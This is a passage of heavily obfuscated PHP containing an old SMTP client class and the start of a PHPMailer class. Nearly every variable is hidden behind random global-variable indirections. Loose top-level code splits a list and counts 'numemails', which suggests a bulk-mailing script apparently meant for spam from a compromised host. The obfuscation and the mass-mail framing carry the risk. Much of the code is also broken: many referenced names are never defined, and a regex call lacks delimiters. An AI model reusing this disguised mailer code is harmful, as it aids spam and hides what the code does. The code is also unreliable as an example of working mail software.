!empty(${${"GLOBALS"}["hsozmwqsbjku"]}) &&
!strstr(${${"GLOBALS"}["hsozmwqsbjku"]}, " ")
) {
${"GLOBALS"}["oywdii"] = "in_headers";
${${"GLOBALS"}["oywdii"]} = true;
}
${${"GLOBALS"}["hcewomixri"]} = 998;
$swegwuirt = "code";
while (list(, ${${"GLOBALS"}["zeplfdp"]}) = @each(${$jtlyzysr})) {
${"GLOBALS"}["mhysdhjol"] = "lines_out";
${"GLOBALS"}["daerzxcrzt"] = "line_out";
${"GLOBALS"}["uqmhwvz"] = "in_headers";
$onifgvdtt = "line";
${${"GLOBALS"}["mhysdhjol"]} = null;
${"GLOBALS"}["lnnapehierch"] = "max_line_length";
if (
${${"GLOBALS"}["zeplfdp"]} == "" &&
${${"GLOBALS"}["uqmhwvz"]}
) {
${"GLOBALS"}["zqchsw"] = "in_headers";
${${"GLOBALS"}["zqchsw"]} = false;
}
${"GLOBALS"}["mlykxuhnh"] = "lines_out";
while (
strlen(${$onifgvdtt}) > ${${"GLOBALS"}["lnnapehierch"]}
) {
${"GLOBALS"}["rxoewfm"] = "max_line_length";
${"GLOBALS"}["kvxkhqlnkwdy"] = "in_headers";
${"GLOBALS"}["gkigcjzkzeoz"] = "pos";
${"GLOBALS"}["cbntgsfge"] = "pos";
$frflbpmvw = "pos";
${${"GLOBALS"}["cbntgsfge"]} = strrpos(
substr(
${${"GLOBALS"}["zeplfdp"]},
0,
${${"GLOBALS"}["rxoewfm"]}
),
" "
);
${"GLOBALS"}["udkrdxf"] = "line";
if (!${$frflbpmvw}) {
${${"GLOBALS"}["ugrvmhroyf"]} =
${${"GLOBALS"}["hcewomixri"]} - 1;
}
$zrirfd = "pos";
${${"GLOBALS"}["dltykhqbvf"]}[] = substr(
${${"GLOBALS"}["zeplfdp"]},
0,
${${"GLOBALS"}["gkigcjzkzeoz"]}
);
${${"GLOBALS"}["zeplfdp"]} = substr(
${${"GLOBALS"}["udkrdxf"]},
${$zrirfd} + 1
);
if (${${"GLOBALS"}["kvxkhqlnkwdy"]}) {
${${"GLOBALS"}["zeplfdp"]} =
"\t" . ${${"GLOBALS"}["zeplfdp"]};
}
}
${${"GLOBALS"}["dltykhqbvf"]}[] = ${${"GLOBALS"}["zeplfdp"]};
while (
list(, ${${"GLOBALS"}["daerzxcrzt"]}) = @each(
${${"GLOBALS"}["mlykxuhnh"]}
)
) {
${"GLOBALS"}["ppipdumwr"] = "line_out";
if (strlen(${${"GLOBALS"}["ppipdumwr"]}) > 0) {
if (substr(${${"GLOBALS"}["udioohl"]}, 0, 1) == ".") {
${"GLOBALS"}["iuyokexe"] = "line_out";
${${"GLOBALS"}["udioohl"]} =
"." . ${${"GLOBALS"}["iuyokexe"]};
}
}
${"GLOBALS"}["eopkxdbu"] = "line_out";
fputs(
$this->smtp_conn,
${${"GLOBALS"}["eopkxdbu"]} . $this->CRLF
);
}
}
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
${$jvldecwv} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${$swegwuirt} != 250) {
${"GLOBALS"}["ecwtllyvmjx"] = "rply";
$this->error = [
"error" => "DATA not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["ecwtllyvmjx"]}, 4),
];
if ($this->do_debug >= 1) {
${"GLOBALS"}["cjpbbmaq"] = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["cjpbbmaq"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Expand($name)
{
${"GLOBALS"}["elldzs"] = "rply";
${"GLOBALS"}["qarzlcnqlim"] = "list";
$mnbkizo = "l";
$this->error = null;
${"GLOBALS"}["hwejvsf"] = "code";
if (!$this->connected()) {
$this->error = [
"error" => "Called Expand() without being connected",
];
return false;
}
${"GLOBALS"}["vglqheobmecn"] = "rply";
fputs(
$this->smtp_conn,
"EXPN " . ${${"GLOBALS"}["qucmytgisy"]} . $this->CRLF
);
${${"GLOBALS"}["elldzs"]} = $this->get_lines();
${${"GLOBALS"}["hwejvsf"]} = substr(
${${"GLOBALS"}["vglqheobmecn"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
$ruppwuhlogoi = "rply";
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$this->error = [
"error" => "EXPN not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
${"GLOBALS"}["mjttfbdh"] = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mjttfbdh"]} .
$this->CRLF;
}
return false;
}
${"GLOBALS"}["qqqhskzwwyb"] = "entries";
${${"GLOBALS"}["culrqdgy"]} = explode(
$this->CRLF,
${$ruppwuhlogoi}
);
while (
list(, ${$mnbkizo}) = @each(${${"GLOBALS"}["qqqhskzwwyb"]})
) {
${${"GLOBALS"}["wsmpnoeuxnb"]}[] = substr(
${${"GLOBALS"}["lfqphue"]},
4
);
}
return ${${"GLOBALS"}["qarzlcnqlim"]};
}
function Hello($host = "")
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Hello() without being connected",
];
return false;
}
if (empty($host)) {
$host = "localhost";
}
if (!$this->SendHello("EHLO", $host)) {
if (!$this->SendHello("HELO", $host)) {
return false;
}
}
return true;
}
function SendHello($hello, $host)
{
${"GLOBALS"}["swtnuyred"] = "rply";
fputs(
$this->smtp_conn,
${${"GLOBALS"}["wpgltkmiqcb"]} . " " . $host . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["swtnuyred"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["soxgulf"] = "rply";
echo "SMTP -> FROM SERVER: " .
$this->CRLF .
${${"GLOBALS"}["soxgulf"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
${"GLOBALS"}["wnfmwxk"] = "code";
${"GLOBALS"}["wenqnpwn"] = "hello";
$this->error = [
"error" =>
${${"GLOBALS"}["wenqnpwn"]} .
" not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wnfmwxk"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
$this->helo_rply = ${${"GLOBALS"}["mxwnekhme"]};
return true;
}
function Help($keyword = "")
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Help() without being connected",
];
return false;
}
${"GLOBALS"}["xjuvcx"] = "keyword";
${${"GLOBALS"}["lupmnckwtzo"]} = "";
if (!empty(${${"GLOBALS"}["xjuvcx"]})) {
$fjhaovacbwo = "extra";
${$fjhaovacbwo} = " " . ${${"GLOBALS"}["dyepfblk"]};
}
$emimlky = "code";
$xqtcivgdkmq = "rply";
$johfkojb = "code";
fputs(
$this->smtp_conn,
"HELP" . ${${"GLOBALS"}["lupmnckwtzo"]} . $this->CRLF
);
${"GLOBALS"}["povlfmxyn"] = "code";
${"GLOBALS"}["mfbmyzos"] = "rply";
${$xqtcivgdkmq} = $this->get_lines();
${${"GLOBALS"}["povlfmxyn"]} = substr(
${${"GLOBALS"}["mfbmyzos"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["wfyykxlwsjju"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["wfyykxlwsjju"]};
}
if (${$johfkojb} != 211 && ${$emimlky} != 214) {
$this->error = [
"error" => "HELP not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
$rwwclhvenkg = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$rwwclhvenkg} .
$this->CRLF;
}
return false;
}
return ${${"GLOBALS"}["mxwnekhme"]};
}
function Mail($from)
{
${"GLOBALS"}["nswuksyntbh"] = "useVerp";
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Mail() without being connected",
];
return false;
}
$gpjtie = "from";
${"GLOBALS"}["pjjrlfyuxd"] = "useVerp";
${${"GLOBALS"}["pjjrlfyuxd"]} = $this->do_verp ? "XVERP" : "";
fputs(
$this->smtp_conn,
"MAIL FROM:<" .
${$gpjtie} .
">" .
${${"GLOBALS"}["nswuksyntbh"]} .
$this->CRLF
);
${"GLOBALS"}["fwqqbxfxyal"] = "code";
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["fwqqbxfxyal"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["rwdbwksmx"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["rwdbwksmx"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$this->error = [
"error" => "MAIL not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Noop()
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Noop() without being connected",
];
return false;
}
${"GLOBALS"}["kyquylgvre"] = "rply";
fputs($this->smtp_conn, "NOOP" . $this->CRLF);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["kyquylgvre"]},
0,
3
);
${"GLOBALS"}["gsctbecbjxx"] = "code";
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["gsctbecbjxx"]} != 250) {
$tfrdwnmp = "code";
$this->error = [
"error" => "NOOP not accepted from server",
"smtp_code" => ${$tfrdwnmp},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Quit($close_on_error = true)
{
$this->error = null;
${"GLOBALS"}["uicgblbu"] = "rval";
$rxvwlpzvu = "close_on_error";
if (!$this->connected()) {
$this->error = [
"error" => "Called Quit() without being connected",
];
return false;
}
fputs($this->smtp_conn, "quit" . $this->CRLF);
${"GLOBALS"}["bokxvlhxyr"] = "byemsg";
${${"GLOBALS"}["bokxvlhxyr"]} = $this->get_lines();
if ($this->do_debug >= 2) {
${"GLOBALS"}["bfvnoeehog"] = "byemsg";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["bfvnoeehog"]};
}
$twfueyqdrhp = "byemsg";
${${"GLOBALS"}["uicgblbu"]} = true;
${${"GLOBALS"}["hpkszosw"]} = null;
$xnwbgtb = "rval";
${${"GLOBALS"}["wsdvmh"]} = substr(${$twfueyqdrhp}, 0, 3);
${"GLOBALS"}["sghtkawn"] = "e";
if (${${"GLOBALS"}["wsdvmh"]} != 221) {
$hrqxfeqqsxn = "code";
${"GLOBALS"}["opcxjhrpy"] = "byemsg";
${"GLOBALS"}["pwqhijskjkq"] = "rval";
$jevuwi = "e";
${$jevuwi} = [
"error" => "SMTP server rejected quit command",
"smtp_code" => ${$hrqxfeqqsxn},
"smtp_rply" => substr(${${"GLOBALS"}["opcxjhrpy"]}, 4),
];
${${"GLOBALS"}["pwqhijskjkq"]} = false;
if ($this->do_debug >= 1) {
${"GLOBALS"}["hictjekbyu"] = "byemsg";
echo "SMTP -> ERROR: " .
${${"GLOBALS"}["hpkszosw"]}["error"] .
": " .
${${"GLOBALS"}["hictjekbyu"]} .
$this->CRLF;
}
}
if (empty(${${"GLOBALS"}["sghtkawn"]}) || ${$rxvwlpzvu}) {
$this->Close();
}
return ${$xnwbgtb};
}
function Recipient($to)
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Recipient() without being connected",
];
return false;
}
fputs(
$this->smtp_conn,
"RCPT TO:<" .
${${"GLOBALS"}["xuyddcasqvgb"]} .
">" .
$this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
$veiloqnzrk = "code";
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["lqibfunkn"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["lqibfunkn"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250 && ${$veiloqnzrk} != 251) {
$this->error = [
"error" => "RCPT not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Reset()
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called Reset() without being connected",
];
return false;
}
fputs($this->smtp_conn, "RSET" . $this->CRLF);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${"GLOBALS"}["awlhbxlv"] = "rply";
${"GLOBALS"}["jxpzkrefngo"] = "code";
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["awlhbxlv"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["lhldcwbsvbqd"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["lhldcwbsvbqd"]};
}
if (${${"GLOBALS"}["jxpzkrefngo"]} != 250) {
$gxbyicy = "rply";
${"GLOBALS"}["tbjhbwl"] = "code";
$this->error = [
"error" => "RSET failed",
"smtp_code" => ${${"GLOBALS"}["tbjhbwl"]},
"smtp_msg" => substr(${$gxbyicy}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Send($from)
{
$this->error = null;
${"GLOBALS"}["ppqammey"] = "from";
if (!$this->connected()) {
$this->error = [
"error" => "Called Send() without being connected",
];
return false;
}
fputs(
$this->smtp_conn,
"SEND FROM:" . ${${"GLOBALS"}["ppqammey"]} . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${"GLOBALS"}["oeoqdmiyxbp"] = "code";
${"GLOBALS"}["nupkyhgtf"] = "rply";
${"GLOBALS"}["xwcmtaf"] = "code";
${${"GLOBALS"}["xwcmtaf"]} = substr(
${${"GLOBALS"}["nupkyhgtf"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["djmditc"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["djmditc"]};
}
if (${${"GLOBALS"}["oeoqdmiyxbp"]} != 250) {
$fvscsyo = "rply";
$this->error = [
"error" => "SEND not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${$fvscsyo}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function SendAndMail($from)
{
$this->error = null;
if (!$this->connected()) {
$this->error = [
"error" => "Called SendAndMail() without being connected",
];
return false;
}
$zcaqeytp = "rply";
$yygrut = "from";
fputs($this->smtp_conn, "SAML FROM:" . ${$yygrut} . $this->CRLF);
${$zcaqeytp} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
${"GLOBALS"}["dilnjpu"] = "rply";
$this->error = [
"error" => "SAML not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["dilnjpu"]}, 4),
];
if ($this->do_debug >= 1) {
$ykqtlme = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$ykqtlme} .
$this->CRLF;
}
return false;
}
return true;
}
function SendOrMail($from)
{
${"GLOBALS"}["inqwvuemxz"] = "code";
$this->error = null;
${"GLOBALS"}["jecdwjmgpm"] = "rply";
if (!$this->connected()) {
$this->error = [
"error" => "Called SendOrMail() without being connected",
];
return false;
}
${"GLOBALS"}["pjnvqfvxna"] = "rply";
fputs(
$this->smtp_conn,
"SOML FROM:" . ${${"GLOBALS"}["ynjosywdrdie"]} . $this->CRLF
);
${${"GLOBALS"}["pjnvqfvxna"]} = $this->get_lines();
${${"GLOBALS"}["inqwvuemxz"]} = substr(
${${"GLOBALS"}["jecdwjmgpm"]},
0,
3
);
if ($this->do_debug >= 2) {
${"GLOBALS"}["ubcpws"] = "rply";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["ubcpws"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 250) {
$tfnokko = "code";
$this->error = [
"error" => "SOML not accepted from server",
"smtp_code" => ${$tfnokko},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
$lnirecz = "rply";
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${$lnirecz} .
$this->CRLF;
}
return false;
}
return true;
}
function Turn()
{
$this->error = [
"error" =>
"This method, TURN, of the SMTP " . "is not implemented",
];
if ($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
function Verify($name)
{
$this->error = null;
${"GLOBALS"}["cjxmino"] = "code";
if (!$this->connected()) {
$this->error = [
"error" => "Called Verify() without being connected",
];
return false;
}
$dpowkjag = "rply";
fputs(
$this->smtp_conn,
"VRFY " . ${${"GLOBALS"}["qucmytgisy"]} . $this->CRLF
);
${$dpowkjag} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if ($this->do_debug >= 2) {
$tqljkazpks = "rply";
echo "SMTP -> FROM SERVER:" . $this->CRLF . ${$tqljkazpks};
}
if (
${${"GLOBALS"}["wsdvmh"]} != 250 &&
${${"GLOBALS"}["cjxmino"]} != 251
) {
$this->error = [
"error" => "VRFY failed on name '$name'",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return ${${"GLOBALS"}["mxwnekhme"]};
}
function get_lines()
{
${"GLOBALS"}["gdqioytjd"] = "data";
${${"GLOBALS"}["gdqioytjd"]} = "";
$etuuuwri = "data";
while (
${${"GLOBALS"}["ywijtjvmje"]} = @fgets($this->smtp_conn, 515)
) {
if ($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data was \"$data\"" .
$this->CRLF;
echo "SMTP -> get_lines(): \$str is \"$str\x22" .
$this->CRLF;
}
${${"GLOBALS"}["asbnolwutik"]} .= ${${"GLOBALS"}["ywijtjvmje"]};
if ($this->do_debug >= 4) {
echo "SMTP -> get_lines(): \$data is \"$data\x22" .
$this->CRLF;
}
if (substr(${${"GLOBALS"}["ywijtjvmje"]}, 3, 1) == " ") {
break;
}
}
return ${$etuuuwri};
}
}
${${"GLOBALS"}["pelxmrdfg"]} = preg_split(
"\n",
${${"GLOBALS"}["eoljndbd"]}
);
$grxhdqxsi = "defaultport";
$grriyffmmys = "numemails";
${$grriyffmmys} = count(${${"GLOBALS"}["uueogij"]});
${$tutvtnxgndn} = "";
$utobvvr = "numemails";
class PHPMailer
{
var $Priority = 3;
var $CharSet = "iso-8859-1";
var $ContentType = "text/plain";
var $Encoding = "8bit";
var $ErrorInfo = "";
var $From = "";
var $FromName = "";
var $Sender = "";
var $Subject = "";
var $Body = "";
var $AltBody = "";
var $WordWrap = 0;
var $Mailer = "mail";
var $Sendmail = "/usr/sbin/sendmail";
var $PluginDir = "";
var $Version = "";
var $ConfirmReadingTo = "";
var $Hostname = "localhost";
var $MessageID = "";
var $Host = "localhost";
var $Port = 25;
var $Helo = "";
var $SMTPSecure = "";
var $SMTPAuth = false;
var $Username = "";
var $Password = "";
var $Timeout = 10;
var $SMTPDebug = false;
var $SMTPKeepAlive = [];
var $SingleTo = false;
var $smtp = [];
var $to = [];
var $cc = [];
var $bcc = [];
var $ReplyTo = [];
var $attachment = [];
var $CustomHeader = [];
var $message_type = "";
var $boundary = [];
var $language = [];
var $error_count = 0;
var $LE = "\n";
var $sign_key_file = "";
var $sign_key_pass = "";
function IsHTML($bool)
{
${"GLOBALS"}["vjdltho"] = "bool";
if (${${"GLOBALS"}["vjdltho"]} == true) {
$this->ContentType = "text/html";
} else {
$this->ContentType = "text/plain";
}
}
function IsSMTP()
{
$this->Mailer = "smtp";
}
function IsMail()
{
$this->Mailer = "mail";
}
function IsSendmail()
{
$this->Mailer = "sendmail";
}
function IsQmail()
{
$this->Sendmail = "/var/qmail/bin/sendmail";
$this->Mailer = "sendmail";
}
function AddAddress($address, $name = "")
{
$iolpskaxvu = "cur";
${"GLOBALS"}["etjfpfxze"] = "address";
${$iolpskaxvu} = count($this->to);
$this->to[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["etjfpfxze"]}
);
$this->to[${${"GLOBALS"}["bvhqwwzlhry"]}][1] = ${${"GLOBALS"}[
"qucmytgisy"
]};
}
function AddCC($address, $name = "")
{
${"GLOBALS"}["vreypqtek"] = "name";
$qdsexyyjmtn = "address";
${"GLOBALS"}["bfioibnp"] = "cur";
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->cc);
$this->cc[${${"GLOBALS"}["bfioibnp"]}][0] = trim(${$qdsexyyjmtn});
$this->cc[${${"GLOBALS"}["bvhqwwzlhry"]}][1] = ${${"GLOBALS"}[
"vreypqtek"
]};
}
function AddBCC($address, $name = "")
{
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->bcc);
${"GLOBALS"}["jdvshoizlbo"] = "name";
${"GLOBALS"}["rejxhfgl"] = "cur";
$this->bcc[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["nnhydclp"]}
);
$this->bcc[${${"GLOBALS"}["rejxhfgl"]}][1] = ${${"GLOBALS"}[
"jdvshoizlbo"
]};
}
function AddReplyTo($address, $name = "")
{
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->ReplyTo);
${"GLOBALS"}["hlscefqo"] = "name";
$dtjretjclz = "cur";
$this->ReplyTo[${${"GLOBALS"}["bvhqwwzlhry"]}][0] = trim(
${${"GLOBALS"}["nnhydclp"]}
);
$this->ReplyTo[${$dtjretjclz}][1] = ${${"GLOBALS"}["hlscefqo"]};
}
function Send()
{
$iyyrymc = "body";
$upanbnpvh = "body";
$wbdxclps = "result";
${"GLOBALS"}["fgxerlq"] = "header";
${${"GLOBALS"}["fgxerlq"]} = "";
${"GLOBALS"}["mhuzzi"] = "header";
${"GLOBALS"}["dvkgbxaxq"] = "result";
${$iyyrymc} = "";
$eqrhqfnet = "body";
$lyvtyohsedbf = "result";
${${"GLOBALS"}["dvkgbxaxq"]} = true;
if (count($this->to) + count($this->cc) + count($this->bcc) < 1) {
$this->SetError($this->Lang("provide_address"));
return false;
}
if (!empty($this->AltBody)) {
$this->ContentType = "multipart/alternative";
}
$this->error_count = 0;
$vnynxwrxqgny = "body";
$this->SetMessageType();
${${"GLOBALS"}["lgmvqsfiuxt"]} .= $this->CreateHeader();
${$vnynxwrxqgny} = $this->CreateBody();
$vqdjxvhovk = "header";
if (${${"GLOBALS"}["ghkaevlk"]} == "") {
return false;
}
switch ($this->Mailer) {
case "sendmail":
${${"GLOBALS"}["bpaotwhm"]} = $this->SendmailSend(
${$vqdjxvhovk},
${${"GLOBALS"}["ghkaevlk"]}
);
break;
case "smtp":
${$wbdxclps} = $this->SmtpSend(
${${"GLOBALS"}["lgmvqsfiuxt"]},
${$upanbnpvh}
);
break;
case "mail":
${${"GLOBALS"}["bpaotwhm"]} = $this->MailSend(
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["ghkaevlk"]}
);
break;
default:
${$lyvtyohsedbf} = $this->MailSend(
${${"GLOBALS"}["mhuzzi"]},
${$eqrhqfnet}
);
break;
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function SendmailSend($header, $body)
{
$hgzwtvs = "body";
${"GLOBALS"}["dxficptbfy"] = "sendmail";
if ($this->Sender != "") {
${${"GLOBALS"}["byfclawnq"]} = sprintf(
"%s -oi -f %s -t",
escapeshellcmd($this->Sendmail),
escapeshellarg($this->Sender)
);
} else {
$bjrhrsneber = "sendmail";
${$bjrhrsneber} = sprintf(
"%s -oi -t",
escapeshellcmd($this->Sendmail)
);
}
if (
!@${${"GLOBALS"}["klhabqmvyik"]} = popen(
${${"GLOBALS"}["dxficptbfy"]},
"w"
)
) {
$this->SetError($this->Lang("execute") . $this->Sendmail);
return false;
}
fputs(
${${"GLOBALS"}["klhabqmvyik"]},
${${"GLOBALS"}["lgmvqsfiuxt"]}
);
fputs(${${"GLOBALS"}["klhabqmvyik"]}, ${$hgzwtvs});
${${"GLOBALS"}["bpaotwhm"]} = pclose(
${${"GLOBALS"}["klhabqmvyik"]}
);
if (version_compare(phpversion(), "4.2.3") == -1) {
$ubwfqrjrd = "result";
${"GLOBALS"}["csnsqyukqf"] = "result";
${$ubwfqrjrd} = (${${"GLOBALS"}["csnsqyukqf"]} >> 8) & 0xff;
}
if (${${"GLOBALS"}["bpaotwhm"]} != 0) {
$this->SetError($this->Lang("execute") . $this->Sendmail);
return false;
}
return true;
}
function MailSend($header, $body)
{
$leqdkfx = "params";
${"GLOBALS"}["aitjlxhvkv"] = "i";
${"GLOBALS"}["wmtxoyznknz"] = "rt";
$suspyyibxbqc = "old_from";
${"GLOBALS"}["pyuabrujr"] = "to";
$lrhbggzwb = "to";
${"GLOBALS"}["dxctoejq"] = "i";
$djxyiadm = "toArr";
${$lrhbggzwb} = "";
for (
${${"GLOBALS"}["dxctoejq"]} = 0;
${${"GLOBALS"}["aitjlxhvkv"]} < count($this->to);
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["qqxwven"] = "i";
if (${${"GLOBALS"}["qqxwven"]} != 0) {
$inqcsrcwebj = "to";
${$inqcsrcwebj} .= ", ";
}
${${"GLOBALS"}["xuyddcasqvgb"]} .= $this->AddrFormat(
$this->to[${${"GLOBALS"}["khvroce"]}]
);
}
${$djxyiadm} = split(",", ${${"GLOBALS"}["pyuabrujr"]});
${$leqdkfx} = sprintf("-oi -f %s", $this->Sender);
if ($this->Sender != "" && strlen(ini_get("safe_mode")) < 1) {
${"GLOBALS"}["rwrjzgn"] = "old_from";
${${"GLOBALS"}["rwrjzgn"]} = ini_get("sendmail_from");
$drbyqmi = "toArr";
ini_set("sendmail_from", $this->Sender);
if ($this->SingleTo === true && count(${$drbyqmi}) > 1) {
$wnnbdqe = "key";
${"GLOBALS"}["lwpivbl"] = "val";
${"GLOBALS"}["iwvasqxutx"] = "toArr";
foreach (
${${"GLOBALS"}["iwvasqxutx"]}
as ${$wnnbdqe} => ${${"GLOBALS"}["lwpivbl"]}
) {
${"GLOBALS"}["dameibk"] = "rt";
$nyadhpbdmzkj = "val";
${"GLOBALS"}["koojawkxlt"] = "params";
${${"GLOBALS"}["dameibk"]} = @mail(
${$nyadhpbdmzkj},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["ghkaevlk"]},
${${"GLOBALS"}["lgmvqsfiuxt"]},
${${"GLOBALS"}["koojawkxlt"]}
);
}
} else {
${"GLOBALS"}["qgyckcktl"] = "body";
$wdqntuqptn = "header";
${${"GLOBALS"}["hkwwepw"]} = @mail(
${${"GLOBALS"}["xuyddcasqvgb"]},
$this->EncodeHeader(
$this->SecureHeader($this->Subject)
),
${${"GLOBALS"}["qgyckcktl"]},
${$wdqntuqptn},
${${"GLOBALS"}["vayhntyql"]}
);
}
} else {
$tprfgtvxbm = "toArr";
if ($this->SingleTo === true && count(${$tprfgtvxbm}) > 1) {
$wwcnxw = "key";
${"GLOBALS"}["zbsmhul"] = "val";
foreach (
${${"GLOBALS"}["iyprpiaer"]}
as ${$wwcnxw} => ${${"GLOBALS"}["zbsmhul"]}
) {
${"GLOBALS"}["ldgsvkgpkcee"] = "params";
${"GLOBALS"}["tzxjfxecygp"] = "val";
